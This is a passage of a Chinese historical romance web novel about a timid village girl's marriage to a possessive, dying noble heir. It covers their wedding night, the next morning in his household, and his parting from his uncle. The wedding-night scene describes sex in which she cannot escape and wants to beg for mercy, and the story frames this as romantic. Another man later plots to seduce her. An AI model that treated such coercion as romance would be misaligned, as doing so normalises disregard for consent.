这样,她的平凡就不会折损世子的华美。薛含桃默默地想着,脑袋越垂越低。 突然,她的手臂传来一股托力,少女下意识得往自己的身边望去,看到世子优美的下颌朝她凑近,薄唇微开。 “抬起头,再低一些,有人就要怀疑我的世子夫人是不是受了胁迫。” “花,花冠太沉了。” 薛含桃满脸羞愧,察觉到果然有人的目光含着怀疑,慌忙挺直脊背,不敢再使些别的小心思。 成婚的步骤很多很繁琐,她并不是都会,还好世子会指点她,薛含桃老老实实地跟着做,倒也没出差错。 不给世子丢脸就好,礼仪结束的那一刻,她很是放下了心头的一个重担,被引着坐在了世子房间的床榻上。 宾客退出去后,屋内很安静也很明亮,四周燃着粗壮的蜡烛,薛含桃小心谨慎地打量,发现了一个熟悉的面孔。 秀美的年轻女子,还有一个好听的名字,她们曾经见过一次面。 “玉蘅姐姐,仪式全都结束了,你能带我到我的房间去吗?”幸好,薛含桃还记得她的名字,不至于两眼一抹黑,她低声请求玉蘅带她去自己的小屋。 世子不得已而娶她,等会儿应该也不想和她待在一起,所以薛含桃决定提前离开。 玉蘅脸上保持着完美的微笑,并未因为被她认出而惊慌,恭敬地唤她夫人,“奴婢仅是东院的一个侍女,夫人以后直呼奴婢的名字即可。若叫旁人听见奴婢自称夫人的姐姐,奴婢便只能以死谢罪。” 薛含桃被她谢罪的话弄得手足无措,只得讷讷地又重复一遍,这里是世子的房间,她让玉蘅带她到她住的房间。 “夫人的话奴婢不是很明白,您嫁给世子,这里既是世子的房间,也是您的房间。”玉蘅沉默了一下,笑容如初。 “这里,世子住的地方很大,有许多院子,有许多房间,我只住一间就可以了,不占世子的房间。”薛含桃解释,她不妄想与世子住在一起,只要一间房就心满意足。 “夫人请放心,世子身边至今只有您一位女子,没有占不占的说法,您请安心在这里待着。”闻言,玉蘅的神色出现了微妙的变化,她多看了一眼面前的新夫人,再次在心中推翻设想。 原来并不是表面上看上去的单纯无害,姿态摆的很低,却是在拐着弯儿地询问世子身边有没有别的姬妾。 玉蘅暗暗道,一个“占”字,多么巧妙。 这次换薛含桃不明白侍女的话,她只是想要去自己的房间,怎么就成了放不放心的问题。 薛含桃满头雾水,默默地想可能还是她自己太着急了,或许世子根本没来得及为她准备房间,等过了今晚见到方大哥,应该就可以了。 只是今晚,看侍女的意思,她只能待在这里等世子回来。 “我可以换掉身上的衣服吗?”薛含桃太累了,头冠和嫁衣都很沉重,她撑不下去了,想把头冠摘下来,衣服换下来。 “夫人想要换洗的话,当然可以。”玉蘅这次很好说话,她帮着薛含桃摘下头冠发钗,又点了两个年纪稍小的侍女服侍薛含桃换衣沐浴。 …… 薛含桃最终脱掉了嫁衣,坐进了大大的木桶里面。 一双大眼睛愣愣地看着两个侍女忙前忙后,很复杂的样子。 她不懂也不明白她们为什么要在水中撒满花瓣,又在她的身上涂抹东西,但她以为这是高门大户都有的规矩,问出来恐怕会引来嘲笑,所以闭紧了嘴巴,一声不吭。 任由她们在自己的身上又涂又抹,她们拿来的纱衣她也乖乖地穿上,露出大片大片的肌肤。 “夫人已经换洗妥当,接下来便耐心等着世子归来即可。奴婢等人先行退下,夫人若有事,可以拉这个铃铛,我们会马上过来。”玉蘅的目光扫过洗去了妆容和华服的新夫人,眼睛就如同房中的蜡烛,由亮及暗。 片刻后,她带领着其余的侍女缓缓退出,将偌大的房间留给了薛含桃一人。 “好,好的。”薛含桃目送她们离开,最终也只说了这两个字。 其实,她想问问可不可以给她些吃的,更想知道果儿姐姐和阿凶现在在哪里,但玉蘅退下的太快,她想她们也很累了,不能太多事。 房间里面的蜡烛只剩下两盏,昏黄的视线中,一切都变得朦胧模糊。 薛含桃穿着一件薄如蚕翼的纱衣,不敢随便乱跑,怕自己不小心就闯入另一个神秘的世界冒犯到世子。 这里毕竟是世子的房间,世子接待过客人回来后发现她乱跑,也会生气。 忙碌了一天,她又累又困又饿,最终茫然地站了一会儿,还是决定先睡觉吧,睡着就不饿了,也不必尴尬地对着世子不知如何是好。 少女悄咪、咪地扫了一眼宽大的床榻,更不敢妄想睡在这上头,她只是轻手轻脚地爬上去,抱走了一条薄薄的被褥。 寻了个不起眼的角落,她将被褥铺好,蜷缩成一团睡在了上面。 迷迷糊糊快要睡着的时侯,她庆幸天气还很暖和,不然一条被褥很可能会冷。 也不是,世子畏热,她先前看到这里摆放着两个冰盆- 夜更深了一分,喝完了最后一杯酒将所有客人送走,崔伯翀才想起来,哦,他的房间还有一颗桃子。 今晚是他的洞房花烛夜。 他仰头看向夜空沉默以对的明月,不慌不忙地往寝房而去。 中途,一只毛发杂乱的黑狗跟在了他的身旁,身上系着一朵可笑的大红花,不停地朝他摇尾巴。 很明显的讨好。 一直到房门外,崔伯翀停下脚步,招手让大黑狗靠近,他笑着摸了摸它的毛发,开口却是刻薄的语调,“狗类主人,那颗桃子指不定又想出了奇怪的招数讨好我,装着老实,内里狡猾。” 可能是听到了主人的名字,黑狗的尾巴摇地更快。 它无声地对着这个气息强大的人类咧开嘴,仿佛希望他可以对自己的主人好一些。 “狗也狡猾。”崔伯翀平静地解开了那朵大红花,头也不回地往房间走去。 黑狗不再跟着他了,它竖着两只耳朵守在了院子里。 好在方振不放心过来察看,将它带回了自己的房间。 “好狗,我那里还有煮好的肉,你守在这里不合规矩啊。” …… 崔伯翀步入房门,一开始神色没什么变化,不过当他嗅到一股淡淡的香气时,他的眸中骤然多了些东西。 还是不一样。 究竟怎么个不一样呢?他又说不出来。不过,他也懒得说。 房中只剩下两盏蜡烛,光线昏暗,但对于自幼习武的他而言,每一寸都可以看的清清楚楚。 比如刻意从黑色换成了红色的床帐,又比如从来不曾在他房间出现过的珠钗与……一双缝着珍珠的绣鞋。 四周很安静,没有人开口说话,小心翼翼地唤他一声。 崔伯翀漫不经心地走到榻前,掀开了垂落下来的红色帷幔,然后,他的目光微妙地一顿,里面空无一人。 一颗天天说她老实的桃子,居然……逃了? 他轻轻笑起来,携带着幽长的酒气,浑身的气势一瞬间变得极为可怕。 然 后,这时,角落里传来了一声细响,像是小动物窸窸窣窣地将自己裹成一团。 崔伯翀循声走过去,看到将自己裹在被子里的小姑娘,他居高临下地盯了很久。 目光犹如实质,像是寒冷的冰,也像是浓烈的火焰。 于是朦朦胧胧的睡梦中,薛含桃一会儿觉得很冷,一会儿觉得很热。最后她因为忍受不了冰火两重天睁开了眼睛,一对上崔世子幽深的眼神,立刻清醒过来。 “……世子,”薛含桃慌忙坐起身,结结巴巴地和他解释今天晚上没有找到她的房间,明天一早她就搬出去。 “我只睡这个角落,不会打扰到世子……” “你身上穿的什么?一层纱衣,想来是故意的。”崔伯翀轻轻说罢,表情变得温柔起来。接着他俯下身,将她和被褥一起抱起来,扔到帷幔里面。 仿佛没听到她的解释。 薛含桃也以为自己解释的声音他没听见,不等从被褥里挣扎着爬出来就急着摇头。 然后,被一手按住了后颈。 他像一道巨大的阴影,笼罩住了扇着翅膀的蝴蝶,着迷地咬住她的一对蝴蝶骨。 辗转不休。 第24章 第二十四章“一颗老实桃子。”…… 薛含桃自幼就生活的地方是桃林村,占地不大,人也不多,仅有二十多户人家,似乎都是前朝时逃难落脚的。 据年纪较长的村人说,他们这个村子原来没有名字,后来有人在村子旁边的小山坡发现了一大片野生的桃树,于是周围的农户就把村子叫作桃林村。 从薛含桃有记忆的时候,那片桃林就一直在那里,没有变化过。 春天天气暖和,桃树开花,粉色的一簇簇,又香又好看,村里很多人会从这里随手折几根桃枝回去,插在陶罐里面,当一个野趣。 薛含桃的父亲是村里唯一的读书人,爱好风雅,折桃枝这样的趣事自然少不了他。薛含桃幼年的记忆中总少不了一缕桃花的香气。 而等到桃花凋落,长出青色的桃子,便是薛含桃出生的时候,她不曾一次怀疑父亲为她取的名字就是因此而来。 野生的桃子最多一颗鸡蛋大小,长到极致也还是青色的,要用眼睛很仔细地辨认才能寻到桃尖的一点粉色。 吃到嘴里的时候自然也是酸涩的,因为没有软甜的果肉,拿着也硌手,许多村人压根不乐意采摘。 只有一些年龄很小的孩童,不知世事,抓着一颗青桃就往嘴里放,然后再一脸嫌弃地扔掉。 和他们一样,薛含桃也不喜欢发涩发苦的野桃,不过后来父母双双去世,她又没有找到抄书活计的那两年,她开始感激这些不起眼的野生桃子。 因为可以填饱肚子。但是,她比谁都清楚也只能填饱肚子。 昏暗的帷幔之内,薛含桃觉得自己就是一颗被人拿在手心的野生桃子。 瘦巴巴,又青又涩,没有香软多汁的果肉,仅有硌手的骨头。 该是不讨人喜欢随手被扔掉的,可…可是为什么,身后的人如此执着,如此乐此不疲,非要从她干瘪的果肉中汲取甜汁,每一次的贴近都让她呜咽不停。 躲不开,又很热,青涩的野桃像是被融化了,又像是真的被吃进了肚子里面。她颤颤巍巍得想求饶,赶紧奉出唯有的一点汁水。 够了吗?只有这么些了。 便是这样,依旧是不够的,不足以抚慰身后人的凶戾。他是一个残忍的猎人,不仅喜欢噬咬果肉,还很擅长寻找那一点果尖上的粉色。 没有什么可以瞒得住他,很快,少的可怜的甜蜜就被他找到了。 尽情地享用,反复不休地榨取。 薛含桃微微闭着眼睛,想到自己被野桃酸到流眼泪的模样,她想问他是不是和自己一样也饿了,需要桃肉来果腹,可是答案似乎不必问就能得到。 怎么会呢?天上的神明只需要稍稍一招手,便有数不尽的人朝圣而至,献上最甜最软的果实。 一颗野桃应该还是被嫌弃的,神明只是好奇,亦或是不得已,因为野桃至始至终都不被允许看到神明的模样。 虽然很想流泪,但还是开心的吧……不应觉得委屈,被吃的野桃也感受到了快乐啊。 野桃仍旧对神明含着愧疚,因为若不是神明捡到了她,她会悄无声息地溃烂,化作一滩无人在意的泥土。 神明也在做应该做的事情,是啊,他们已经成婚敬告了天地。 一切就该如此。 野桃用尽所有力气,仰起脑袋向身后的神明露出一个笑容。 所幸,神明也在朝着她喟叹,给了薛含桃一丝慰藉。 他说,“一颗老实桃子。”—— 隔了几道院墙,方振将煮好的肉一块块喂给忠心的大黑狗,看着它吃的喷香,开始絮叨起来。 像是找不到可以倾述的人类。 毕竟,东院知晓内情的人只有他一个,世子的奶娘,他伤心不已的亲娘也离开京城去了太行山下的延州。 自世子的母族杨家死伤惨重,剩下的一些族人就迁居去了延州,远离纷争同时也可以守着边境。 如今世子身为杨家的后人命不久矣,偏偏还得在这纷争之中耗尽最后一丝价值。 对于有些人而言,世子的死亡都可以用来衡量与利用。 方振每每想到都心酸不已。 “阿凶,你是一条狗,忠心护主没有错。不过,狗也要明事理知对错。这桩婚事怪不得我家郎君,对不对?” 方振摸摸狗的头,和它分说错误的根源在于宫里的那个人,“按照常理来说,婚事对小桃不公平,毕竟她什么都不知晓。” 黑狗吃完一块肉,听到主人的名字,给面子的呜了一声。 虽然它听不懂这个啰嗦的人类到底在嘀咕些什么。 “可是,她入局了。薛贵妃是她的姐姐,生下了皇子,血缘联系无人可以斩断,陛下心念小皇子,一定会把她嫁给我家郎君。到时候郎君……她便是崔世子的遗孀,天下人惦念世子免不得移情到她的身上。阿凶,以后你的主人可就了不得了,人人都要给她几分薄面。” “若是,”方振的目光怔然一瞬,慢慢地变得柔和起来,“若是在这短短的时日之内,夫人怀上郎君的血脉,那她的地位将不可动摇,便是斗到死,我等也会帮着夫人成为崔氏的太夫人。” 任何人都阻挡不了。 方振想,或许这也是皇帝和薛贵妃的另一个目的。 所以,不能怪罪他家郎君。 他家郎君一开始没有拒绝婚事让他惊讶,让他担心会伤害到小桃。但方振很快就想明白了,对小桃而言,或许这是最好的结果。不是郎君,也会是崔家的其他人,而其他人和郎君相比,是臭不可闻的污泥,小桃陷进去才是真的会受到伤害甚至丧命。 他沉默许久,回过神来,吃完了肉的大黑狗已经趴在他的脚边睡着了。 这一天,它跟着主人来到了一个陌生的地方,却没有乱吵乱闹,因为它知道这里是它和主人以后的家。 新的家大的出奇,静的出奇,有许多它不识得的人类。 但阿凶不怕,因为它会保护主人,主人也始终不会放弃它。 哪怕它慢慢变老了,还会掉毛。 ……… 宽敞的房间里面,崔伯翀睁开了眼睛。 这一夜,他没有再做奇怪的梦,也没有从梦中惊醒,一直睡到了天光熹微之时。 难得的轻松,难得的神清气爽,也是难得的心满意足。 想到什么,他侧过身,静静地打量一颗紧紧扒着自己手臂不放的桃子,目光落在她红肿的眼皮以及微撅的唇瓣,面无表情。 看起来,多委屈啊。 男人的眼神晦暗,轻飘飘地掀开了裹在 两人身上的锦被。 失去了温暖的锦被,清晨的凉气与冰盆残余的冷气立刻嚣张地冲入帷幔之内,像是攻城略地的将军,誓要把每一寸地方变成凉冰冰的。 看着少女死死地向他贴近恨不得将自己完全嵌入他的怀里,崔世子一脸愉悦地笑了起来,他畏热,不代表身边的桃子也喜欢凉意。 不过,慢慢地,他眼中的笑意在消失,转而出现别的意味。 没有任何遮挡,密密麻麻的痕迹将苍白瘦弱的躯体完全覆盖,看上去,真是可怜,真是……颇有心计的一颗桃子。 他垂下眼睑,重新将锦被拉了上去,自己却披着一件外袍,从帷幔中走出。 走到窗边。 崔伯翀漫不经心地盯着墨青的天色,当新生的太阳一点一点升起,阳光给世间万物带来无限生机的时刻,他拉紧衣袍,遮住了胸口狰狞可怖的伤痕。 昨夜,他没有让她看到这里。 屋内的铃铛随之响起,玉蘅与其他侍女无声进入,将一切恢复成原本的模样。 这时的崔伯翀已经从房间内离开了。他走出门,昨夜的黑狗又过来了,正对着他摇尾巴讨好。 “郎君,阿凶不放心小桃。”方振陪着笑脸,不止阿凶,其实他也不放心,难以想象世子的洞房花烛夜会发生什么。 原本以为风平浪静,可第一眼看到世子,他立刻惊讶地改变了想法。 不一样,那就意味着……小桃恐怕不怎么好。 “她的东西全带过来了吗?”崔世子挑了挑眉,没有回答让不让掉毛的老狗进入他的房间,而是问了方振另一个问题。 “郎君指的是?” “所有。” 崔伯翀薄唇吐出两个字。 “这个,恐怕要问夫人身边的那个侍女。”方振识趣地改了口,决定去找果儿过来。 “不知郎君要如何处理?” “找到后,全扔了。” 崔伯翀毫不留情,想起昨夜她呜呜咽咽说出口的解释,冷笑一声。 什么叫她不敢占用他的房间,给她一间小小的屋子,其他的东西都不要,她的那些旧物放进去就可以居住。 什么又叫她可以自食其力抄书赚钱,若是不愿意看到她,她会远远地躲开连面都不露。 痴人说梦。 似是感觉到他身上的冷意,大黑狗下意识缩起了尾巴,一双深棕色的兽瞳也紧张地往看不清楚的房间望去。 它知道它的主人就在里面。 “若是屋内发现了一根你的毛发,你就永远做方振的狗吧。”男人淡淡瞥了黑狗和方振一眼,抬脚走开。 方振的笑脸一僵,默默离黑狗远了一些。怪他,他怎么忘了世子的性子,虽然世子受伤后脾性越来越古怪,但有一点至始至终可从来没变过。 那就是超乎寻常的占有欲。 小桃嫁给了世子,她的狗最好也只亲近她和世子两个人。旁的其他人,即便是他,世子瞅见了也会不高兴,暗暗地警告。 “唉,怎么连条狗都计较。阿凶,不是说你。”方振叹了口气,让黑狗进房间时小心一些,“落了狗毛,就麻烦了。”—— 薛含桃是被一声狗叫唤醒的,不高不低的嗷呜声,是她的阿凶。 “阿凶,小声一点,不要吵到伯父伯母。”眼皮还没有睁开,她就轻轻地咕哝一声,不让大黑狗吵到家里的伯父伯母。 他们若是被阿凶吵醒了会阴阳怪气地骂人,薛含桃就得赶紧拿出些好处堵住他们的嘴巴。 也许是因为梦到了那片桃林和青色的野桃,迷迷糊糊的少女以为自己还在桃林村,还在大伯父家中的那间小屋。 大概是农忙时,她做了活,所以身上很疲倦,用了些力气才坐起身。 随着她的动作,丝滑柔软的锦被自然垂下,她呆在了宽大的榻上。 不是她的小屋啊,又矮又暗的屋子里怎么可能有奢华精美的帷幔,古朴高立的烛台,还有许多垂手而立的美貌女子。 薛含桃的第一反应是慌张,再然后便是僵硬,呼吸停滞。 她记起来了,自己不在桃林村,而是变成一颗野桃被人彻彻底底吃进了肚子里。 天也已经亮了,她这颗桃子重新活了过来。只是,她朝身边望去,是空的,吃她的人不在了。 “夫人,您醒了,可要奴婢等人伺候您梳洗?” 看到她坐起身,又等她发了一会儿的呆,玉蘅斟酌时间后,走上前,询问她是否要梳洗。 黑狗的爪子搭在榻沿,被玉蘅看见,她微不可查地皱了皱眉。 世子喜爱洁净,晚上入寝的地方怎么能让一只狗靠近,万一有狗毛遗落,可如何是好。玉蘅有心想开口提醒,只是话到了嘴边又咽了回去,世子同夫人成婚第一天,哪怕她知晓新夫人的底细也不能让世子觉得她对夫人不恭敬。 帷幔之内的场景她们所有人都心里有数,新夫人虽相貌平平,性子木讷,但……很得世子的喜欢。 一个那么普通的女子啊,轻而易举就拥有了许多人梦寐以求的一切。 玉蘅恪守规矩,不敢有非分之想,但心里总归有那么点不舒服。 现在藏着掖着并未显露,或者说不敢表现出来,在世子对新夫人的宠爱消失之前。 “梳洗?好。”薛含桃意识到这里是世子的房间,还是没放弃想尽快离开,总觉得待下去浑身不适应。 准确说,她确实浑身不舒适,四肢酸痛没力气,肩后长着一对蝴蝶骨的地方更是……刺痛难受。 薛含桃想起了世子曾经给过自己的膏,用目光默默地查探果儿姐姐的身影,她的东西都由果儿姐姐负责带了过来。 对,还有陶罐,里面的种子才是最重要的。 种子发了芽,必须要悉心照顾。 “阿凶,你快将果儿姐姐找来。”可是再着急,薛含桃也必须梳洗过后才可以离开这里,她不敢吩咐这里的侍女找人,只能将希望寄托在阿凶的身上。 大黑狗听到了果儿的名字,叫了一声像是回应,飞快地跑出了房门。 这里虽然有很多陌生的人类,但她们都很弱,对自己的主人也没有敌意,所以它放心的离开了。 大黑狗离开后,房间里面的侍女都肉眼可见地松了一口气。 她们拿来水盆和干巾为新夫人清洗面容,梳顺头发,挽起发髻,插上步摇珠钗。全程,新夫人都没有吭声,很是配合,一双黑瞳静静地认真地看着她们。 一直到玉蘅拿来了一件处处华美的累珠撒花曳地罗裙,要为她换上。 薛含桃猛地清醒,不停地摇头,“这件衣服不行,我怕弄坏了。” 昨夜她老实换上了她们拿来的纱衣也没问,结果,结果被世子以为她故意……薛含桃抿抿唇,坚持不再穿玉蘅拿来的衣服。 她找了一个害怕弄坏的借口,决定穿自己从小院带来的衣服,有一件鹅黄色的襦裙她很喜欢,堂姐让宫里为她做的,想来也不寒酸。 闻言,玉蘅的动作微顿,隐约显露几分为难。 她不知道新夫人原本的衣裙放在何处。 “没关系,果儿姐姐马上就来了,等她去拿就好。”薛含桃赶紧开口解释,看向房门口,眼神期待。 “夫人既然坚持,那便等一会儿吧。”玉蘅礼貌地退到了一边,心中又多几分迷惑不解。发现世子不在身边没有黯然,拒绝她拿来的华服却要穿从家中带来的普通衣裙,她究竟想做什么呢? “果儿姐姐!”玉蘅想不通,下一刻她亲耳听到新夫人喊一个侍女姐姐更加想不通了。 薛含桃看到阿凶和果儿一同出现,兴奋地喊人,果儿看见她被这么多人围着也很高兴,这代表着一切和以前都不一样了。 娘子是世子夫人,她是世子夫人信赖的果儿姑姑! “娘子的旧衣裙?”还没等两人的欢喜消失,听到要找旧衣,果儿咽了咽口水,“可是,世子方才吩咐将娘子的旧物全都扔了。” “扔了。”闻言,薛含桃惊住,眼睛里面茫然无措,世子为什么要扔她的东西。 接着,她的语气因为恐慌不由颤抖。 “陶罐,发芽的陶罐也扔了吗?” 第25章 第二十五章暗中窥人的恶意目光。…… 怎么可以丢掉种子呢?又一次的,丢弃它。 薛含桃记起了世子对方大哥说不需要希望时冷漠的表情,记起了自己满头大汗趴在地上寻找的疲累,记起了一路上怀揣着秘密的小小期待。 成婚的前一天,种子终于发芽了,她欣喜若狂,激动地差一点落泪。 现在,又一次,希望被世子毫不犹豫地丢掉了。 薛含桃心中生出了愤怒,嘴巴紧紧地闭着,小小的火苗在她的眼中燃烧,种子是她用来献给神明的,就算神明自己也不可以罔顾! 可是,她确实太不起眼了,就连愤怒也显得如此的微不足道。 果儿和玉蘅都没有发现,唯有一条不会说人话的老狗弓起了背,呲着牙,将她护在了身后。 “娘子说摆在窗台上的那个陶罐,没有丢,它好端端地被放在我房间里面,娘子不知道,我的那一间房有多大,被褥和摆设比宫里的都要好。”果儿笑嘻嘻地开口,浑然没注意她的一句话轻而易举地,浇灭了一簇代表着愤怒的火苗。 火苗燃烧起来的时候很细很小,熄灭的时候更可怜了,连一点点的痕迹都没有留下。 “这样啊,原来……没有被丢掉…”慢慢地,薛含桃扬起的脑袋缩了起来,声音也小心翼翼只敢像蚊子哼哼,“我以为都被丢掉了。” 她竟然误会世子,还敢对世子生出愤怒,这和亵渎神明有什么区别,实在是大逆不道! 幸好,没被发现,否则,薛含桃只能绞尽脑汁地寻找方式谢罪。 她慌张地安抚护在前头的大黑狗,弯下了腰。 “世子吩咐,奴婢一开始也以为要丢掉,可是后来世子说陶罐不用丢,”果儿未察觉端倪,继续说道,不过她的神色变得有些古怪,“不止不必丢,还要派人将娘子种在小院的菜苗拔、出来,一株不剩移到这里来。” 菘菜,颇棱,嫩韭……世子居然连每一样菜的种类都知道,天知道果儿战战兢兢静待吩咐的时候听到这里,心里有多不可思议。 几株菜苗而已,合起来五个铜板都卖不了,大费周章地跨越小半个都城,移出来再种下,肯定又要保证能存活,她无法理解。 “是啊,我不在了,果儿姐姐也不在了,没人浇水,那些菜苗会枯死的。”薛含桃一听颇有些懊恼,她怎么将菜苗忘记了,多亏了世子记得,不然自己的汗水就白流了。 世子果然是个心细如发的大善人,连几株刚冒头的小菜苗都惦念着。 她一改先前的蔫头耷脑,直起身体,陶罐好好的,希望就还在。 “娘子,您的旧衣裙都被扔了,您不怪我吧?”果儿挠了挠后脑勺,一脸谄媚地笑。 她后知后觉,对连菜苗都不舍得丢弃的自家娘子而言,细布和绫罗做的几件衣服又该多么重要。 “就不能找回来吗?”薛含桃也反应过来了,心疼地直抽气,有两件衣服她只在进宫时穿过一次,用的料子很珍贵的,缺少银子的时候完全可以当掉救急! “当掉,能值十两银子,买五份酥酪。”薛含桃低声喃喃道她本来就很穷,这下就更穷了。 “呃,”果儿心虚地眼神乱飘,“找不回来了,许多都被烧掉,剩下一两件大概会被人捡走。” 里衣和小衣当然要被烧掉,外衫就算没被烧也不能穿了。 薛含桃失望地垂下眼睛,脸上尽是黯淡。 “夫人,现在可以穿衣了吗?”见此,玉蘅立刻让人将准备好的衣裙捧过来,面容含笑,“若是不需要方才那件,还有别的七八件衣裙供夫人过目。” 不穿她们准备好的衣服,难道她想去借用果儿的衣服吗? 薛含桃没有了拒绝的借口,只能用自己的眼光挑了一件最不起眼的蓝色凤尾裙。 没有繁复的刺绣,也没有珍贵的金银丝线,看起来最普通,想必也最不值钱。 她默默地想着,将衣裙换上之后,趁玉蘅等侍女走开的空隙,询问果儿的意见,“果儿姐姐,这件我穿起来不会奇怪吧?” 这些衣裙如此精美,原本应该是为一位高门贵女比如那位曹九娘子准备的,最后却穿在了她的身上。 如同明珠蒙灰。 薛含桃认真挑了一颗最小的明珠,尽力让自己不被觉得偷穿了别人的华服。 “娘子的眼光真好,这布料可是珠光缎,贵妃娘娘都只得了两匹。娘子别看它在屋内平平无奇,走到屋外便能发现流光溢彩,美不胜收。”果儿开口夸赞,薛含桃眼中的光瞬间熄灭。 珠光缎,又一个陌生的名称,她再一次弄巧成拙。 小心翼翼不让自己的双手碰到衣裙,薛含桃僵硬地坐在了膳桌面前。 许多她叫不出名字的粥点菜肴摆满了一整个桌子,她在心里数了一遍,有八道。 可是坐下来的只有她一个人。 总不能都让她一个人吃了吧,薛含桃犹豫地看向了剩下的空位,动了动嘴唇。 “夫人,世子已经用过早膳和方管事一同出府了,这些菜肴若是不合您的胃口,奴婢会让人再换掉。”玉蘅依旧站在一旁,礼貌地指点,现在的她该用早膳了。 “哦,好的,不…不用换。”薛含桃骤然知晓了世子的去向,愣了一下什么情绪也没表现,赶紧拿起筷子。 按照宫人在她耳边说过的礼仪,今天一早应该是新婚夫妇一起向府中的公婆请安,同叔姑问好见面。 世子一大早就将她一个人丢在这里,也不说请安问好的事,薛含桃若是理直气壮合该委屈生恼。但她不仅没有底气还怀着满满的歉疚,所以没出息地一个字都不敢问,只是默默地咀嚼,然后再挟几块炖肉混着粥点到自己用过的空盘子里。 这是给阿凶的。 玉蘅看着那只狗和新夫人一起进食,心中的不适越发强烈,但终究没说什么。 果儿倒是发现了几分眉目,大声道娘子怎么只用面前的几道,其他的一筷未动。 “我和阿凶只吃这么多就够了。”薛含桃睁着一双眼睛,神色很不好意思,其实她和阿凶吃的一点都不少。 “那剩下的娘子就赏给奴婢吧。”果儿在赏之一字上加重声调,厚着脸皮说自己还没有用早膳。 虽然她在见方振之前就吃过两个炊饼和一碗粥了。 薛含桃点头,没觉得有异样,毕竟果儿以前也和她还有阿凶一起用膳。 她让果儿一起坐下,果儿看了一眼玉蘅,摆摆手,“不能坐不能坐,会坏了规矩的,奴婢站着吃就好了。” 闻言,薛含桃终于感觉到了不对,一时坐立难安,她是不是已经坏了很多规矩? 比如,用膳的礼仪;比如,不该让阿凶一起……可是,她抿唇,前者是她的错她愿意承认改正,后者她不会同意更改。 “……夫人的吩咐也是规矩。”玉蘅聪慧,立刻意识到这个圆脸的侍女在点她,深吸一口气开口说道。 “对,果儿忘了,娘子现在是世子夫人,嘿嘿,那奴婢就斗胆坐下了。” 下一刻,果儿果然大咧咧地坐在了薛含桃的手边。 她可是在宫里待过的,走到哪里都不怕。规矩?宫里谁不知道这是人定的。 薛含桃感激地朝她弯了弯眼睛,还好,多好,现在,她身边也有为她遮掩解围的人- 一顿早膳用完,太阳已经升到了当空。 时候快要到中午,但崔世子仍旧不见人影,仿佛遗忘了娶回到家中的新夫人,不管不问。 薛含桃也从一开始的默然沉静变得焦躁不安,只有她一个人,她到底要不要去请安问好。 历来对公婆不敬都是很严重的罪名,桃林村有一户人家,年轻的妇人不过是煮了一个鸡子没 有先给公婆吃,就被狠狠地骂了两日,她呢?会不会被认为不敬而受到打骂? 骂她几顿,薛含桃可以忍受,但若是打她……她的身体瘦弱,受不了几次。 怎么办,怎么办才好? 薛含桃越想越怕,猛地起身往外走,她记得自己上一次进国公府的路线,只要绕过几条走廊,再经过一个花园,三道门,就是国公府的大门。 她要去门口等着世子回来,没办法了,这是一个没见过世面的老实姑娘能想到的唯一法子。 只要早一点时间,自己就少一些责骂。 “夫人…有心了。”玉蘅听她说要到府门口等世子,脸上完美的笑容僵了一瞬,不过那个圆脸侍女虎视眈眈地看着,玉蘅默念了三遍自己的身份,吩咐人在前面引路。 薛含桃小声说不必,她认识路,可玉蘅的眼神接着变得微妙起来,仔细看,或许还能发现隐晦的厌恶。 “夫人不知,国公府很大,不止路多难辨,还有府中的人,有些主子最好避开。” 她们待在东院,那些人万不敢闯进来生事,但在别的地方,就说不定了。 闻言,薛含桃似懂非懂,眼前似是飘来了一层迷雾。府中的人怎么了?这里不是世子的家吗?世子的家人难道不该更喜爱世子,为何要避开? “嗯,我知道了。”不过即便不懂,她也不会争辩,而是老实地点头。 一行人包括一只狗安静地朝府门而去。 越是往外,越是喧闹,薛含桃越是意识到世子住的东院原来很冷清,像是被单独从定国公府分出来了一般。 突然她浑身一冷,好似感受到了许多暗中的窥视。 充满了恶意,像是……盘旋在坟冢上头的秃鹫。 从前为了避人,薛含桃从村里到县城需要走一段小路,小路的不远处埋着许多死人,她见过那些冰冷的眼珠子,秃鹫的眼睛里面有对血肉的渴望。 但是这一刻她不怕,因为她见过真正的食尸者,也经历过死亡。 “世子是万人敬仰的大英雄,住的地方也一定有正气庇佑!”薛含桃昂首挺胸,黑色澄净的眼睛直视阴影处那些令人恶寒的目光,“会把吃人的秃鹫全都烧死。” 她也会赶走秃鹫,秃鹫怕火,怕勇敢的人。 “嗷呜!”大黑狗高声嚎叫,赶走秃鹫当然有它的一份功劳。 …… “哈哈哈哈哈,那丑丫头就是崔伯翀明媒正娶的夫人,笑死爷了,还烧死爷,她以为她是谁!一个被扔进来的棋子罢了。” “郎君说的有理,若不是有宫里的贵妃姐姐,以她那种相貌放府中做个打扫丫头都不过眼。” “薛贵妃,听说从前就嫁过人,不知怎么地勾搭上了陛下,可见是个水性杨花的女人,她的妹妹嘛,”男人的语气充满兴味,有阴暗的想法在他的脑海中蔓延,“崔伯翀一个清心寡欲的冰块,哪里知道什么是极乐,你说若是他知道那个丑丫头与别的男人勾搭在一起,会是什么反应呢?” “丑丫头长的不怎么样,方才的眼神倒是很容易让人兴奋起来。不知道是不是和她的贵妃姐姐一样,水性杨花。” 一勾就到手。 他很期待。 第26章 第二十六章“这一次,放过你。”…… 京城外,崔伯翀在同人辞别。 一行十几人皆目光炯炯气势不凡,为首的是位满面沧桑的老者,崔伯翀恭敬地唤他舅父。 老者是崔伯翀外祖父杨太尉早年收下的义子,名杨解,当年在战中侥幸活了下来,断掉了一只手臂。 “伯翀,就送到这里吧,我们能看到你成婚已经心满意足,快回去陪你的新婚妻子。”他叹息一句,用仅剩的一只手拍了拍崔伯翀的肩膀让他不必再送。 “伯翀已有两年未和舅父相见,眼下时辰还早,舅父不必急着离开。”崔伯翀的目光落在他的断臂上,晦涩不明,“再者,舅父的身体不胜往日,多歇一些时间也好。” 太行山下他们待着的地方是边关重镇,气氛紧张,也熬人,杨解和崔伯翀的生父定国公年纪差不多,可状态却是天差地别。 现在的杨解,真真正正的像是一位老者。 “歇不得,歇不得,得知你成婚,我们好不容易抽出些时间,一路骑马而来,如今再迟一些回去,保不得那些满口仁义的文臣又在朝中诋毁我等擅离职守。”杨解冷笑一声,却是无奈。 建朝多年文贵武轻,武将的地位越来越低,文臣们官官相护,恨不得将他们这些武将踩到脚底下去。 闻言,崔伯翀的神色些许动容,“早知舅父亲自过来,当初我就不该去信说我成婚,免得舅父一路劳累。” “你成婚我怎能不来,等回去我还要和你的外祖他们说你已经成家,他们都躺在太行山下,看不到这个场面,也看不到这片河山的归宿了。将来,还不知如何,你的这桩婚事结的不错。”杨解知道薛含桃是薛贵妃的妹妹后,也颇为赞同。 